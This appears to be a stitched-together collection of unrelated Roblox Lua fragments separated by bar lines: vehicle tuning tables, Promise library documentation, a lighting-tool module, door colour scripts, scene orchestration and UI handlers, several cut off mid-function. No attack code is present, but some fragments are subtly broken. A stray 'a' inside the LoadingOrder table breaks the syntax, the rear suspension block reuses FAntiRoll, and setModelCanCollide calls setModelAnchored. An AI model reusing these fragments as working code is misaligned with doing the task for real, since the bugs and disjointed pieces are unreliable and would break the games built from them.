return Promise.Resolve()
else
return Promise.FromEvent(onStartedComplete.Event)
end
end
return KnitServer
|
-- Set up the event handler for the button
|
btn.MouseButton1Click:Connect(toggleWindows)
|
--[[Susupension]]
|
Tune.SusEnabled = false -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled
--Front Suspension
Tune.FSusDamping = 500 -- Spring Dampening
Tune.FSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.FSusLength = 2 -- Suspension length (in studs)
Tune.FPreCompress = .3 -- Pre-compression adds resting length force
Tune.FExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.FCompressLim = .1 -- Max Compression Travel (in studs)
Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.FWsBoneLen = 5 -- Wishbone Length
Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Rear Suspension
Tune.RSusDamping = 500 -- Spring Dampening
Tune.RSusStiffness = 9000 -- Spring Force
Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening)
Tune.RSusLength = 2 -- Suspension length (in studs)
Tune.RPreCompress = .3 -- Pre-compression adds resting length force
Tune.RExtensionLim = .3 -- Max Extension Travel (in studs)
Tune.RCompressLim = .1 -- Max Compression Travel (in studs)
Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal)
Tune.RWsBoneLen = 5 -- Wishbone Length
Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal)
Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel)
--[[Lateral]] -.4 , -- positive = outward
--[[Vertical]] -.5 , -- positive = upward
--[[Forward]] 0 } -- positive = forward
--Aesthetics
Tune.SusVisible = false -- Spring Visible
Tune.WsBVisible = false -- Wishbone Visible
Tune.SusRadius = .2 -- Suspension Coil Radius
Tune.SusThickness = .1 -- Suspension Coil Thickness
Tune.SusColor = "Bright red" -- Suspension Color [BrickColor]
Tune.SusCoilCount = 6 -- Suspension Coil Count
Tune.WsColor = "Black" -- Wishbone Color [BrickColor]
Tune.WsThickness = .1 -- Wishbone Rod Thickness
|
-----------------
--| Variables |--
-----------------
|
local GamePassService = game:GetService('MarketplaceService')
local PlayersService = game:GetService('Players')
local VipDoor = script.Parent
local GamePassIdObject = WaitForChild(script, 'GamePassId')
local JustTouched = {}
|
-- Confetti Defaults.
|
local shapes = {script:WaitForChild("CircularConfetti"), script:WaitForChild("SquareConfetti")};
local colors = {Color3.fromRGB(168,100,253), Color3.fromRGB(41,205,255), Color3.fromRGB(120,255,68), Color3.fromRGB(255,113,141), Color3.fromRGB(253,255,106)};
|
--[[Transmission]]
|
Tune.TransModes = {"Auto","Semi","Manual"} --[[
[Modes]
"Auto" : Automatic shifting
"Semi" : Clutchless manual shifting, dual clutch transmission
"Manual" : Manual shifting with clutch
>Include within brackets
eg: {"Semi"} or {"Auto", "Manual"}
>First mode is default mode ]]
--Automatic Settings
Tune.AutoShiftMode = "Speed" --[[
[Modes]
"Speed" : Shifts based on wheel speed
"RPM" : Shifts based on RPM ]]
Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev)
Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev)
--Gear Ratios
Tune.FinalDrive = 13.5 -- Gearing determines top speed and wheel torque
Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed
--[[Reverse]] 1.5 , -- Copy and paste a ratio to add a gear
--[[Neutral]] 0 , -- Ratios can also be deleted
--[[ 1 ]] 1.89 , -- Reverse, Neutral, and 1st gear are required
--[[ 2 ]] 0.76 ,
--[[ 3 ]] 0.63 ,
--[[ 4 ]] 0.49 ,
--[[ 5 ]] 0.33 ,
}
Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
|
-- Below is the script to make the moving platform work. It won't work if something is wrong with the destination blocks.
|
local mainFolder = script.Parent
local platform = mainFolder.Platform
local alignPosition = platform.AlignPosition
|
-- Bind Events
|
CaptureFlag.Event:connect(OnCaptureFlag)
ReturnFlag.Event:connect(OnReturnFlag)
return GameManager
|
-- Loop through all players when model added
|
for _, player in pairs(game.Players:GetPlayers()) do
addMyLocalScript(player)
end
|
--[=[
Yields the current thread until the given Promise completes. Returns the the values that the promise resolved with.
```lua
local worked = pcall(function()
print("got", getTheValue():expect())
end)
if not worked then
warn("it failed")
end
```
This is essentially sugar for:
```lua
select(2, assert(promise:await()))
```
**Errors** if the Promise rejects or gets cancelled.
@error any -- Errors with the rejection value if this Promise rejects or gets cancelled.
@yields
@return ...any -- The values the Promise resolved with.
]=]
|
function Promise.prototype:expect()
return expectHelper(self:awaitStatus())
end
|
--[[ Reference extension ]]
|
--
do
local ReferenceTypes = {
Character = {},
CharacterPart = {}
}
local References = {}
local Objects = {}
for i,v in pairs(ReferenceTypes) do
References[i] = {}
Objects[i] = {}
end
function Network:AddReference(key, refType, ...)
local refInfo = ReferenceTypes[refType]
assert(refInfo, "Invalid Reference Type")
local refData = {
Type = refType,
Reference = key,
Objects = {...},
Aliases = {}
}
References[refType][refData.Reference] = refData
local last = Objects[refType]
for _,obj in ipairs(refData.Objects) do
local list = last[obj] or {}
last[obj] = list
last = list
end
last.__Data = refData
end
function Network:AddReferenceAlias(key, refType, ...)
local refInfo = ReferenceTypes[refType]
assert(refInfo, "Invalid Reference Type")
local refData = References[refType][key]
if not refData then
warn("Tried to add an alias to a non-existing reference")
return
end
local objects = {...}
refData.Aliases[#refData.Aliases + 1] = objects
local last = Objects[refType]
for _,obj in ipairs(objects) do
local list = last[obj] or {}
last[obj] = list
last = list
end
last.__Data = refData
end
function Network:RemoveReference(key, refType)
local refInfo = ReferenceTypes[refType]
assert(refInfo, "Invalid Reference Type")
local refData = References[refType][key]
if not refData then
warn("Tried to remove a non-existing reference")
return
end
References[refType][refData.Reference] = nil
local function rem(parent, objects, index)
if index <= #objects then
local key = objects[index]
local child = parent[key]
rem(child, objects, index + 1)
if next(child) == nil then
parent[key] = nil
end
elseif parent.__Data == refData then
parent.__Data = nil
end
end
local objects = Objects[refData.Type]
rem(objects, refData.Objects, 1)
for i,alias in ipairs(refData.Aliases) do
rem(objects, alias, 1)
end
end
function Network:GetObject(ref, refType)
assert(ReferenceTypes[refType], "Invalid Reference Type")
local refData = References[refType][ref]
if not refData then
return nil
end
return unpack(refData.Objects)
end
function Network:GetReference(...)
local objects = {...}
local refType = table.remove(objects)
assert(ReferenceTypes[refType], "Invalid Reference Type")
local last = Objects[refType]
for i,v in ipairs(objects) do
last = last[v]
if not last then
break
end
end
local refData = last and last.__Data
return refData and refData.Reference or nil
end
end
|
-- KEY IS DOWN --
|
UIS.InputBegan:Connect(function(Input, isTyping)
if isTyping then return end
if Input.KeyCode == Enum.KeyCode.R then
if Equipped.Value and Holding.Value == "None" and not Using.Value then
SkillsHandler:FireServer("Hold", "R")
end
end
end)
|
-- ROBLOX deviation: omitting imports for file system interaction
|
local CurrentModule = script
local Packages = CurrentModule.Parent
|
-- Explicit dependencies are dependencies that are are explicitly listed.
-- These dependencies are available to this package and ANY dependent packages below
|
function PackageInfoUtils.fillExplicitPackageDependencySet(explicitDependencySet, packageFolder, packageInfoMap)
assert(type(explicitDependencySet) == "table", "Bad explicitDependencySet")
assert(typeof(packageFolder) == "Instance", "Bad packageFolder")
assert(type(packageInfoMap) == "table", "Bad packageInfoMap")
for _, item in pairs(packageFolder:GetChildren()) do
if item:IsA("Folder") and item.Name == ScriptInfoUtils.DEPENDENCY_FOLDER_NAME then
for _, packageInfo in pairs(PackageInfoUtils.getPackageInfoListFromDependencyFolder(item, packageInfoMap)) do
explicitDependencySet[packageInfo] = true
end
end
end
end
return PackageInfoUtils
|
-- Container for temporary connections (disconnected automatically)
|
local Connections = {};
function LightingTool.Equip()
-- Enables the tool's equipped functionality
-- Start up our interface
ShowUI();
EnableSurfaceClickSelection();
end;
function LightingTool.Unequip()
-- Disables the tool's equipped functionality
-- Clear unnecessary resources
HideUI();
ClearConnections();
end;
function ClearConnections()
-- Clears out temporary connections
for ConnectionKey, Connection in pairs(Connections) do
Connection:Disconnect();
Connections[ConnectionKey] = nil;
end;
end;
function ShowUI()
-- Creates and reveals the UI
-- Reveal UI if already created
if LightingTool.UI then
-- Reveal the UI
LightingTool.UI.Visible = true;
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
-- Skip UI creation
return;
end;
-- Create the UI
LightingTool.UI = Core.Tool.Interfaces.BTLightingToolGUI:Clone();
LightingTool.UI.Parent = Core.UI;
LightingTool.UI.Visible = true;
-- Enable each light type UI
EnableLightSettingsUI(LightingTool.UI.PointLight);
EnableLightSettingsUI(LightingTool.UI.SpotLight);
EnableLightSettingsUI(LightingTool.UI.SurfaceLight);
-- Update the UI every 0.1 seconds
UIUpdater = Support.ScheduleRecurringTask(UpdateUI, 0.1);
end;
function EnableSurfaceClickSelection(LightType)
-- Allows for the setting of the face for the given light type by clicking
-- Clear out any existing connection
if Connections.SurfaceClickSelection then
Connections.SurfaceClickSelection:Disconnect();
Connections.SurfaceClickSelection = nil;
end;
-- Add the new click connection
Connections.SurfaceClickSelection = Core.Mouse.Button1Down:Connect(function ()
local _, ScopeTarget = Core.Targeting:UpdateTarget()
if Selection.IsSelected(ScopeTarget) then
SetSurface(LightType, Core.Mouse.TargetSurface)
end
end)
end;
function EnableLightSettingsUI(LightSettingsUI)
-- Sets up the UI for the given light type settings UI
-- Get the type of light this settings UI is for
local LightType = LightSettingsUI.Name;
-- Option input references
local Options = LightSettingsUI.Options;
local RangeInput = Options.RangeOption.Input.TextBox;
local BrightnessInput = Options.BrightnessOption.Input.TextBox;
local ColorPicker = Options.ColorOption.HSVPicker;
local ShadowsCheckbox = Options.ShadowsOption.Checkbox;
-- Add/remove/show button references
local AddButton = LightSettingsUI.AddButton;
local RemoveButton = LightSettingsUI.RemoveButton;
local ShowButton = LightSettingsUI.ArrowButton;
-- Enable range input
RangeInput.FocusLost:Connect(function ()
SetRange(LightType, tonumber(RangeInput.Text));
end);
-- Enable brightness input
BrightnessInput.FocusLost:Connect(function ()
SetBrightness(LightType, tonumber(BrightnessInput.Text));
end);
-- Enable color input
ColorPicker.MouseButton1Click:Connect(function ()
Core.Cheer(Core.Tool.Interfaces.BTHSVColorPicker, Core.UI).Start(
Support.IdentifyCommonProperty(GetLights(LightType), 'Color') or Color3.new(1, 1, 1),
function (Color) SetColor(LightType, Color) end,
Core.Targeting.CancelSelecting
);
end);
-- Enable shadows input
ShadowsCheckbox.MouseButton1Click:Connect(function ()
ToggleShadows(LightType);
end);
-- Enable light addition button
AddButton.MouseButton1Click:Connect(function ()
AddLights(LightType);
end);
-- Enable light removal button
RemoveButton.MouseButton1Click:Connect(function ()
RemoveLights(LightType);
end);
-- Enable light options UI show button
ShowButton.MouseButton1Click:Connect(function ()
OpenLightOptions(LightType);
end);
-- Enable light type-specific features
if LightType == 'SpotLight' or LightType == 'SurfaceLight' then
-- Create a surface selection dropdown
Surfaces = { 'Top', 'Bottom', 'Front', 'Back', 'Left', 'Right' };
local SurfaceDropdown = Core.Cheer(Options.SideOption.Dropdown).Start(Surfaces, '', function (Surface)
SetSurface(LightType, Enum.NormalId[Surface]);
end);
-- Enable angle input
local AngleInput = Options.AngleOption.Input.TextBox;
AngleInput.FocusLost:Connect(function ()
SetAngle(LightType, tonumber(AngleInput.Text));
end);
end;
end;
function HideUI()
-- Hides the tool UI
-- Make sure there's a UI
if not LightingTool.UI then
return;
end;
-- Hide the UI
LightingTool.UI.Visible = false;
-- Stop updating the UI
UIUpdater:Stop();
end;
function GetLights(LightType)
-- Returns all the lights of the given type in the selection
local Lights = {};
-- Get any lights from any selected parts
for _, Part in pairs(Selection.Parts) do
table.insert(Lights, Support.GetChildOfClass(Part, LightType));
end;
-- Return the lights
return Lights;
end;
|
-- Private Functions --
|
function getMotorVelocity( motor )
return motor.Attachment1.WorldAxis:Dot( motor.Attachment1.Parent.RotVelocity )
end
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
|
-- How to install
-- Put the "[FE+] Pedals" script into the Plugins folder
-- Move the "BP","CP" and "GP" groups to fit the interior, and put them in the Misc group
-- Copy and paste the following into MiscWeld under initialize.
|
MakeWeld(misc.BP.SS,car.DriveSeat,"Motor",.1)
ModelWeld(misc.BP.Parts,misc.BP.SS)
MakeWeld(misc.GP.SS,car.DriveSeat,"Motor",.1)
ModelWeld(misc.GP.Parts,misc.GP.SS)
MakeWeld(misc.CP.SS,car.DriveSeat,"Motor",.1)
ModelWeld(misc.CP.Parts,misc.CP.SS)
|
--[[
Player state. No logic, as server dictates entry and exit in this state.
]]
|
local PlayerSpectating = {}
|
--[[Weight and CG]]
|
Tune.Weight = 2200 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 8 ,
--[[Height]] 4.5 ,
--[[Length]] 16 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
-- note: maybe use playfab to capture errors
|
ClientOrchestration.registerClientComponents = function(config)
if config.orchestrationTime < ClientOrchestration.lastCalledOrchestrationTime then
ClientOrchestration._warn("Attempted to orchestrate an older scene on the client: " .. config.name)
return
end
if config.orchestrationTime == ClientOrchestration.lastCalledOrchestrationTime then
ClientOrchestration._warn(
"Attempted to orchestrate a scene with same tick time. Double check that you're not loading a scene 2x"
)
ClientOrchestration._warn(config.name)
return
end
if config.schema.Client == nil then
ClientOrchestration._warn(
"No schema Client file provided on the client for scene: " .. config.name .. ". Is this intended?"
)
return
end
ClientOrchestration.isSeekable = false
ClientOrchestration.lastCalledOrchestrationTime = config.orchestrationTime
ClientOrchestration.cleanUp()
local schema = ClientOrchestration._require(config.schema.Client)
local SchemaProcessor = ClientOrchestration._require(config.schemaProcessor)
ClientOrchestration.SchemaProcessorInstance = SchemaProcessor.new(schema, config.timePosition)
-- Run setup before processing
local setupSuccess = ClientOrchestration.setupSchema()
if config.orchestrationTime < ClientOrchestration.lastCalledOrchestrationTime then
ClientOrchestration._warn("No longer processing outdated scene: " .. config.name)
return
end
if setupSuccess then
ClientOrchestration.processSchema()
end
if config.orchestrationTime < ClientOrchestration.lastCalledOrchestrationTime then
ClientOrchestration._warn("No longer processing outdated scene: " .. config.name)
return
end
local name = config.name or "Default"
-- If the player has seek permissions, then update the seek UI
ClientOrchestration.ClientSceneMetadataEvent:Fire(
"Pass",
name,
ClientOrchestration.SchemaProcessorInstance.timePosition,
config.timeLength
)
if ClientOrchestration.ClientSceneMetadataRequestConnection then
ClientOrchestration.ClientSceneMetadataRequestConnection:Disconnect()
end
ClientOrchestration.ClientSceneMetadataRequestConnection =
ClientOrchestration.ClientSceneMetadataEvent.Event:Connect(
function(Type)
if Type == "Request" then
ClientOrchestration.ClientSceneMetadataEvent:Fire(
"Pass",
name,
ClientOrchestration.SchemaProcessorInstance.timePosition,
config.timeLength
)
end
end
)
end
ClientOrchestration.seek = function(timeToPlay)
local lastCalledOrchestrationTime = ClientOrchestration.lastCalledOrchestrationTime
while not ClientOrchestration.isSeekable do
local wasNewSceneCalled = lastCalledOrchestrationTime ~= ClientOrchestration.lastCalledOrchestrationTime
if wasNewSceneCalled then
ClientOrchestration._warn("New scene orchestrating, cancelling seek")
return
end
ClientOrchestration.taskLib.wait()
end
if ClientOrchestration.SchemaProcessorInstance == nil then
ClientOrchestration._warn("Schema Processor Instance hasn't been created on client")
return
end
ClientOrchestration.cleanUp()
-- This is in Process fires faster than setTime has replicated for the client
ClientOrchestration.SchemaProcessorInstance.timePosition.Value = timeToPlay
ClientOrchestration.processSchema()
end
local hasBeenCalled = false
return function(stubs)
if hasBeenCalled then
error("Client Orchestration has already been called")
return
end
-- Used for testing only
if stubs then
for i, v in pairs(stubs) do
ClientOrchestration[i] = v
end
end
ClientOrchestration.SendMediaControllerConfig.OnClientEvent:Connect(ClientOrchestration.registerClientComponents)
ClientOrchestration.SeekPermissionsEvent.OnClientEvent:Connect(ClientOrchestration.handleSeekPermissionsEvent)
ClientOrchestration.Seek.OnClientEvent:Connect(ClientOrchestration.seek)
ClientOrchestration.SceneEnded.OnClientEvent:Connect(ClientOrchestration.handleSceneEnded)
hasBeenCalled = true
return ClientOrchestration
end
|
--Change the value \/
|
local flinginess = 50 --CHANGE THIS VALUE TO AFFECT FLING
local flng = flinginess
local negflng = flinginess * -1
|
--[[
Create a promise that represents the immediately rejected value.
]]
|
function Promise.reject(...)
local length, values = pack(...)
return Promise._new(debug.traceback(nil, 2), function(_, reject)
reject(unpack(values, 1, length))
end)
end
Promise.Reject = Promise.reject
|
--// Module LoadOrder List; Core modules need to be loaded in a specific order; If you create new "Core" modules make sure you add them here or they won't load
|
local LoadingOrder = {
--// Nearly all modules rely on these to function
"Logs";
"Variables";
"Functions";
a
--// Core functionality
"Core";
"Remote";
"Process";
--// Misc
"Admin";
"HTTP";
"Anti";
"Commands";
}
|
--[=[
This function returns a table with the values of the passed dictionary.
```lua
local Dictionary = {
A = 1,
B = 2,
C = 3,
}
print(TableKit.Values(Dictionary)) -- prints {1, 2, 3}
```
@within TableKit
@param dictionary table
@return table
]=]
|
function TableKit.Values<T>(dictionary: { [unknown]: T }): { T }
local valueArray = {}
for _, value in dictionary do
table.insert(valueArray, value)
end
return valueArray
end
|
--local eat = Humanoid:LoadAnimation(AnimF.open)
--local Idle = Humanoid:LoadAnimation(AnimF.idle)
|
local Debounce = false
tool.Equipped:Connect(function()
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_Sounds")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local throt=0
local redline=0
script:WaitForChild("Rev")
for _,v in ipairs(car.DriveSeat:GetChildren()) do
for _,a in ipairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rev",car.DriveSeat,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
car.DriveSeat:WaitForChild("Rev")
game:GetService("RunService").Heartbeat:Connect(function() -- to-do: linear interpolate on all clients at 10/s to avoid bogging down network
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.Throttle.Value <= _Tune.IdleThrottle/100 then
throt = math.max(.3,throt-.2)
else
throt = math.min(1,throt+.1)
end
if script.Parent.Values.RPM.Value > _Tune.Redline-_Tune.RevBounce/4 and script.Parent.Values.Throttle.Value > _Tune.IdleThrottle/100 then
redline=.5
else
redline=1
end
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
local Pitch = math.max((((script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline))*on^2),script.Rev.SetPitch.Value)
if FE then
handler:FireServer("updateSound","Rev",script.Rev.SoundId,Pitch,script.Rev.Volume)
else
car.DriveSeat.Rev.Pitch = Pitch
end
end)
|
-- VisualComponents by Travis, modified for native visuals.
|
local module = {}
module.panels = {}
local MapConstant = 40000
local VideoControl = require(script.VideoControl.Value)
local function mapScreen(center,screen)
local dif = Instance.new("Attachment",center)
dif.WorldPosition = screen.Position
for i,v in pairs(screen.VisualScreen.Main:GetChildren()) do
if v:IsA("ImageLabel") then
v.Position = UDim2.new(0.5, dif.Position.X * MapConstant, 0.5, (dif.Position.Y - dif.Position.Z) * MapConstant )
end
end
for i,v in pairs(screen.VisualScreen.SpriteVisual:GetChildren()) do
if v:IsA("ImageLabel") then
v.Position = UDim2.new(0.5, dif.Position.X * MapConstant, 0.5, (dif.Position.Y - dif.Position.Z) * MapConstant )
end
end
screen.VisualScreen.CanvasSize = Vector2.new((screen.Size.X*MapConstant),(screen.Size.Y*MapConstant))
dif:Destroy()
end
function module.Start(screensFolder)
local center = screensFolder.CenterPart
if screensFolder:FindFirstChild("Panels") then
for i,v in pairs(screensFolder.Panels:GetChildren()) do
local cloneFrame = script.Main:Clone()
local cloneFrame1 = script.SpriteVisual:Clone()
cloneFrame.Parent = v.VisualScreen
cloneFrame1.Parent = v.VisualScreen
mapScreen(center,v)
table.insert(module.panels,v)
v.Debug:Destroy()
end
end
VideoControl.SpriteStart()
end
return module
|
--------| Variables |--------
|
local cashLabel = _L.GUI.Bottom.MainBottomBar.CenterContainer.Cash.Title
|
--!strict
|
return function(value)
return typeof(value) == "number" and value == value and value ~= math.huge and value ~= -math.huge
end
|
--[=[
Utility to build a localization table from json, intended to be used with rojo. Can also handle Rojo json
objects turned into tables!
@class JsonToLocalizationTable
]=]
|
local LocalizationService = game:GetService("LocalizationService")
local HttpService = game:GetService("HttpService")
local RunService = game:GetService("RunService")
local JsonToLocalizationTable = {}
local LOCALIZATION_TABLE_NAME = "GeneratedJSONTable"
|
-- ================================================================================
-- LOCAL FUNCTIONS
-- ================================================================================
|
local function setModelAnchored(parent, anchored)
for _, child in ipairs(parent:GetChildren()) do
if (child:IsA("BasePart")) or (child:IsA("MeshPart")) then
child.Anchored = anchored
end
setModelAnchored(child, anchored)
end
end -- setModelAnchored()
local function setModelCanCollide(parent, canCollide)
for _, child in ipairs(parent:GetChildren()) do
if (child:IsA("BasePart")) or (child:IsA("MeshPart")) then
child.CanCollide = canCollide
end
setModelAnchored(child, canCollide)
end
end -- setModelCanCollide()
local function setModelTransparency(parent, transparency)
for _, child in ipairs(parent:GetChildren()) do
if (child:IsA("BasePart")) or (child:IsA("MeshPart")) then
child.Transparency = transparency
end
setModelTransparency(child, transparency)
end
end -- setModelTransparency()
local function removeLimbsAndThings(character)
for _, child in ipairs(character:GetChildren()) do
removeLimbsAndThings(child)
if (not child:IsA("Humanoid")) and (not child:IsA("Motor6D"))
and (child.Name ~= "Head") and (child.Name ~= "UpperTorso") then
child:Destroy()
end
end
end -- removeLimbsAndThings()
local function insertModelIntoCharacter(character, model)
for _, child in ipairs(model:GetChildren()) do
child.Parent = character
insertModelIntoCharacter(child, child)
end
end -- insertModelIntoCharacter()
local function setCollisionGroup(parent, group)
for _,part in pairs(parent:GetChildren()) do
if (part:IsA("BasePart") or (part:IsA("MeshPart"))) then
PhysicsService:SetPartCollisionGroup(part, group)
end
end
end -- SetCollisionGroup()
|
--[[Engine]]
|
--Torque Curve
Tune.Horsepower = 75
Tune.IdleRPM = 500
Tune.PeakRPM = 5600
Tune.Redline = 6300
Tune.EqPoint = 6300
Tune.PeakSharpness = 2.2
Tune.CurveMult = 0.01
--Incline Compensation
Tune.InclineComp = 1.35 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Misc
Tune.RevAccel = 0 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 0 -- Percent throttle at idle
Tune.ClutchTol = 450 -- Clutch engagement threshold (higher = faster response)
|
-- Function to handle the button click
|
local function onClick()
-- Destroy the parent GUI (the ScreenGui containing the TextButton)
button.Parent:Destroy()
end
button.MouseButton1Click:Connect(onClick)
|
--[[ Local Variables ]]
|
--
local MasterControl = {}
local Players = game:GetService('Players')
local RunService = game:GetService('RunService')
while not Players.LocalPlayer do
wait()
end
local LocalPlayer = Players.LocalPlayer
local CachedHumanoid = nil
local RenderSteppedCon = nil
local SeatedCn = nil
local moveFunc = LocalPlayer.Move
local isJumping = false
local isSeated = false
local myVehicleSeat = nil
local moveValue = Vector3.new(0,0,0)
|
--if SignalValues.Signal1.Value == 2 then
|
SignalValues.Signal1.Value = 3
|
-- functions
|
function stopAllAnimations()
local oldAnim = currentAnim
-- return to idle if finishing an emote
if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
oldAnim = "idle"
end
currentAnim = ""
if (currentAnimKeyframeHandler ~= nil) then
currentAnimKeyframeHandler:Disconnect()
end
if (oldAnimTrack ~= nil) then
oldAnimTrack:Stop()
oldAnimTrack:Destroy()
oldAnimTrack = nil
end
if (currentAnimTrack ~= nil) then
currentAnimTrack:Stop()
currentAnimTrack:Destroy()
currentAnimTrack = nil
end
return oldAnim
end
function setAnimationSpeed(speed)
if speed ~= currentAnimSpeed then
currentAnimSpeed = speed
currentAnimTrack:AdjustSpeed(currentAnimSpeed)
end
end
function keyFrameReachedFunc(frameName)
if (frameName == "End") then
|
-- Display result window for active players
|
function PlayerManager:DisplayRoundResult(resultString, resultTime)
for _, player in ipairs(PlayerManager.ActivePlayers) do
DisplayRoundResult:FireClient(player, resultString, resultTime)
end
end
|
-- UI Profile
|
local usernameprofile = gui.Parent.Parent.User.Username
local displaynameprofile = gui.Parent.Parent.User.DisplayName
local pfpprofile = gui.Parent.Parent.User.ProfilePicture
local shutterpfp = script.Parent.Parent.Parent.ShutterFrame.ProfilePicture
local Players = game:GetService("Players")
local player = Players.LocalPlayer
|
-- [ FUNCTIONS ] --
|
repeat wait() until cam.CameraSubject ~= nil
cam.CameraType = Enum.CameraType.Scriptable
|
--- Replace with true/false to force the chat type. Otherwise this will default to the setting on the website.
|
module.BubbleChatEnabled = true
module.ClassicChatEnabled = true
|
-- Instances have a "Name" field. Sort
-- by that name,
|
function CommonUtil.SortByName(items)
local function compareInstanceNames(i1, i2)
return (i1.Name < i2.Name)
end
table.sort(items, compareInstanceNames)
return items
end
|
--//ENGINE//--
|
Horsepower = 430 --{This is how much power your engine block makes ALONE, this does not represent to total horsepower output [IF you have a turbo/SC]}
EngineDisplacement = 3000 --{Engine size in CC's}
EngineType = "Diesel" --{Petrol, Diesel, Electric]
EngineLocation = "Front" --{Front, Mid, Rear}
ForcedInduction = "Single" --{Natural, Single, Twin, Supercharger}
InductionPartSize = 1.5 --{0-5, 1 being small, 5 being large (Decimals accepted, e.g 2.64 turbo size, this is the size of the turbo}
ElectronicallyLimited = false --{Electronically Limit the top speed of your vehicle}
LimitSpeedValue = 100 --{Limits top speed of the vehicle [In MPH]}
|
-- Returns the current active view model
-- @return Model
|
function FirstPersonRigAssembly.GetActiveRig()
return activeRig
end
|
--[[
Returns the current value of this ForPairs object.
The object will be registered as a dependency unless `asDependency` is false.
]]
|
function class:get(asDependency: boolean?): any
if asDependency ~= false then
Dependencies.useDependency(self)
end
return self._outputTable
end
|
--------LEFT DOOR --------
|
game.Workspace.doorleft.l11.BrickColor = BrickColor.new(133)
game.Workspace.doorleft.l12.BrickColor = BrickColor.new(133)
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(133)
game.Workspace.doorleft.l41.BrickColor = BrickColor.new(133)
game.Workspace.doorleft.l42.BrickColor = BrickColor.new(133)
